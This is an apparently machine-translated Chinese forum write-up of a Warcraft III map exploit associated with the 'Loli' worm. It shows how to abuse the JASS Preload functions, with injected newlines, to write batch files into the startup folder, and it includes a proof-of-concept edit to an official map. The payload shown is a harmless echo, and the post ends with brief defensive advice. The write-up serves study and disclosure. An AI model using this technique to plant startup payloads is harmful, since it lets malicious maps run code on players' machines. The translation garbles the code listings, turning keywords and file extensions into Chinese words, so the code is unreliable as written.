KaiWn 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 近日,腾讯电脑管家团队对《魔兽争霸3》漏洞传播的“萝莉”蠕虫进行了分析,并介绍了“萝莉”蠕虫的运行过程。然后“蠕虫”的作者在他的网站上澄清了这一点。我们暂且不八卦这个事件,只从技术层面分析《魔兽争霸3》漏洞是什么,如何利用,如何防御。 “萝莉”蠕虫分析地址: http://www.freebuf.com/news/120136.html “蠕虫”的作者博客地址: https://blog.loxve.com/ 0x01 简介 《魔兽争霸3》漏洞的过程如下: 1.攻击者上传修改后的魔兽地图,等待其他玩家进入房间游戏。 2.玩家进入房间后,由于没有本地地图,地图会自动下载。 3.地图同步后,玩家进入游戏,触发地图中的脚本,脚本将bat文件写入启动目录。 4.玩家电脑重启后,执行启动目录下的bat文件,成功加载有效载荷。 0x02 相关概念 JASS 它是《魔兽争霸3》的脚本语言,用来控制地图的进程和行为,是魔兽游戏和地图的基础。 在普通地图编辑中,放置的单元、触发器等。最终会翻译成JASS语言,保存在地图文件中,在游戏运行时调用。 HkeW3mModifier 这是一个修改mpq格式文件的工具,可以用来修改加密的MPQ文件。拥有强大的资源搜索功能,可以搜索出魔兽世界地图中的大部分资源,重建列表,智能解压相关地图。 可用于查看和编辑地图中包含的文件资源。 操作说明: 下载HkeW3mModifier.exe,选择地图,点击分析文件,查看地图包含的文件列表,如图所示。 其中war3map.j包含了地图的逻辑控制代码,右键解压war3map.j后可以查看代码,部分如图。 war3map.j中的文件结构 1.变量声明 声明脚本文件中使用的全局变量。 Lost Temple中的变量声明如下: //*************************************************************************** //* //*全局变量 //* //*************************************************************************** 全局 //已生成 触发器gg _ trg _混战_初始化=空 结束全局 函数InitGlobals不带任何内容,不返回任何内容 结束函数 2.触发部分 声明映射中使用的触发器。 《迷失神殿》中的触发部分如下: //*************************************************************************** //* //*触发器 //* //*************************************************************************** //=========================================================================== //触发:近战初始化 // //所有玩家的默认近战游戏初始化 //=========================================================================== 函数Trig _ mily _ initial ization _ Actions不取任何值,不返回任何值 调用MeleeStartingVisibility() 调用MeleeStartingHeroLimit() 调用MeleeGrantHeroItems() 调用MeleeStartingResources() 调用MeleeClearExcessUnits() 调用MeleeStartingUnits() 调用MeleeStartingAI() 调用MeleeInitVictoryDefeat() 结束函数 //=========================================================================== 函数InitTrig _ Melee _ Initialization不取任何值,不返回任何值 set gg _ trg _ mily _ initial ization=create trigger() 调用TriggerAddAction(gg _ trg _ mily _ initial ization,函数Trig _ mily _ initial ization _ Actions) 结束函数 //=========================================================================== 函数InitCustomTriggers不接受任何内容,也不返回任何内容 调用InitTrig _混战_初始化( ) 结束函数 //=========================================================================== 函数RunInitializationTriggers不接受任何内容,不返回任何内容 调用条件触发执行(gg _ trg _混战_初始化) 结束函数 你可以根据函数名来猜测表示的意思。 函数trig _ mily _ initial ization _ actions是触发器的动作。 函数InitTrig _混战_初始化用来初始化 函数InitCustomTriggers触发器为用户自定义触发器的注册 函数运行初始化触发器的功能是运行触发器 3、主函数主要的 脚本文件的入口 失落的神庙中的主要的部分如下: //*************************************************************************** //* //*主初始化 //* //*************************************************************************** //=========================================================================== 函数主要的不接受任何内容,不返回任何内容 调用setcameranbornis(-7936.0 GetCameraMargin(CAMERA _ MARGIN _ LEFT)、-8192.0 GetCameraMargin(CAMERA _ MARGIN _ BOTTOM)、7936.0-GetCameraMargin(CAMERA _ MARGIN _ RIGHT)、7680.0-GetCameraMargin(CAMERA _ MARGIN _ TOP)、7936.0-GetCameraMargin(CAMERA _ MARGIN _ LEFT)、7680.0-GetCameraMargin(CAMERA _ MARGIN _ TOP)、7980 调用SetDayNightModels(' Environment \ \ DNC \ \ DNCLordaeron \ \ DNCLordaeronTerrain \ \ DNCLordaeronTerrain。' MDL ','环境\ \ DNC \ \ DNCLordaeron \ \ DNCLordaeronUnit \ \ DNCLordaeronUnit。MDL’) 调用NewSoundEnvironment(“默认”) 调用SetAmbientDaySound(' lordanonsummerday ') 调用setambientthound(' lordanonsummernight ') 调用SetMapMusic( 'Music ',true,0) 调用CreateAllUnits() 调用InitBlizzard() 调用InitGlobals() 调用InitCustomTriggers() 调用RunInitializationTriggers() 结束函数 4、其他设置 如单位物品表、单位创建、玩家、地图配置暂略 0x03 Jass预读文件漏洞 Reference: http://bbs.islga.org/forum.php?mod=viewthreadtid=48422 extra=page=1 page=1 贾斯中三个特殊的函数: 本机预加载清除不接受任何内容,也不返回任何内容 本机预加载启动不接受任何内容,也不返回任何内容 本机预加载结束接受字符串文件名不返回任何内容 以上三个函数用来记录PreloadGenStart()和预加载结束()之间执行的所有预载()语句,并将它们写入到预加载结束()函数指定的可编程逻辑电路文件里去 注: 类似于输出日志文件 示例: 贾斯代码如下: 函数测试不取任何值,不返回任何值 调用预加载清除() 调用PreloadGenStart() 调用预加载('可替换纹理\ \相机遮罩\ \白色_遮罩。BLP’) 调用PreloadGenEnd(' c:\ \ test \ \ test。PLD’) 结束函数 执行函数测试()后,就会在c:\test\下新建文件test.pld,并写入如下内容: 函数测试不取任何值,不返回任何值 调用预加载('可替换纹理\ \相机遮罩\ \白色_遮罩。BLP’) 调用预加载(0.0) 结束函数 漏洞原理 1、设置输出为bat文件 如果将输出的。可编程逻辑电路文件后缀名改为。蝙蝠,那么文件中的每一行被当作一段代码被执行(当然语句无效,不符合批处理的语法),如图 2、加入换行符\n 在批处理的语法中,\n代表换行。虽然。可编程逻辑电路文件输出的每行内容格式固定,但是,如果通过\n把调用预加载()这一行中的内容截断,那么就能够实现在新的一行显示一条可被执行的批处理命令 示例: 贾斯代码如下: 函数测试不取任何值,不返回任何值 调用预加载清除() 调用PreloadGenStart() 调用预加载(' \n@echo Test\n ') 调用PreloadGenEnd(' c:\ \ test \ \ test。蝙蝠’) 结束函数 输出成测试。蝙蝠后会包含换行符,输出的文件内容如下: 函数测试不取任何值,不返回任何值 调用预加载( ' @回声测试 ) 调用预加载(0.0) 结束函数 此时,产生了新的一行代码@回声测试,@回声测试得到执行,如图 3、执行批处理 默认贾斯只能做到输出文件,无法执行文件,所以只能将文件输出到文件启动项下,在重启后得到执行 0x04 实际测试 1、测试HelloGA2012.w3m 下载地址: http://bbs.islga.org/forum.php?mod=viewthreadtid=48422 extra=page=1 page=1中的附件 war3版本:1.27.0.52240 加载地图HelloGA2012进入游戏后,按转义字符键,如图,弹出提示,在D:\XX\下产生文件测试。可编程逻辑电路 跳转到目录D:\XX\找到test.pld,内容如下: 函数PreloadFiles不带任何内容,不返回任何内容 调用预加载( ' @cls @颜色a @echo Hello World @echo这是一个WC3地图生成蝙蝠文件的样本。 @echo欢迎来到http://bbs.islga.org。让我们和GA一起走向2012! @暂停 @退出 ) 调用预加载(0.0) 结束函数 测试成功。 2、手动修改官方地图LostTemple (1)获取源文件 使用HkeW3mModifier打开官图(4)LostTemple.w3m,导出war3map.j (2)添加有效载荷 根据以上对war3map.j中文件结构的分析,在函数trig _ mily _ initial ization _ actions中添加以下代码: 调用PreloadGenClear() 调用PreloadGenStart() 调用预加载(' \n@echo Test\n ') 调用PreloadGenEnd(' c:\ \ test \ \ test . bat ') 画 (3)保存 保存war3map.j后,在HkeW3mModifier中选择replace (add)文件,如图。 选择重新压缩以保存映射文件,如图所示。 (4)测试 将地图放在Maps文件夹下,进入游戏,地图就会被识别出来,如图。 注: 为了测试的方便;ing,地图名称已改为test覆盖原图比较混乱。 启动游戏,会在c:\test\下生成test.bat文件,内容如下: 函数PreloadFiles不带任何内容,不返回任何内容 调用预加载( ' @回声测试 ) 调用预加载(0.0) 结束函数 如果文件被导出到启动目录,文件将在重新启动后执行。 测试成功。 0x05 补充 1.这个漏洞本身并不包含代码执行的功能,所以成功利用该漏洞的关键在于找到执行代码的方法。最直接的方法是将文件输出到启动项。当然,该漏洞也可以被用来修改指定的文件。 2.dota地图中war3map.j的位置是scripts\war3map.j,也可以使用。 0x06 小结 严格来说,这个《魔兽争霸3》漏洞不算漏洞,但是war3地图中支持一个输出文件的正常功能。使用这个函数,可以将精心构造的代码输出到特定的位置,然后用其他方法执行。 所以,利用这个漏洞的关键在于执行方式,一般的方法无非就是写启动项。 对于普通用户来说,关注一下本机的开机列表就好了。同时,反病毒软件已经能够检测到这种用法。 注意自我保护,谨防上当受骗。 适度游戏对大脑有好处,沉迷游戏对身体有伤害。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子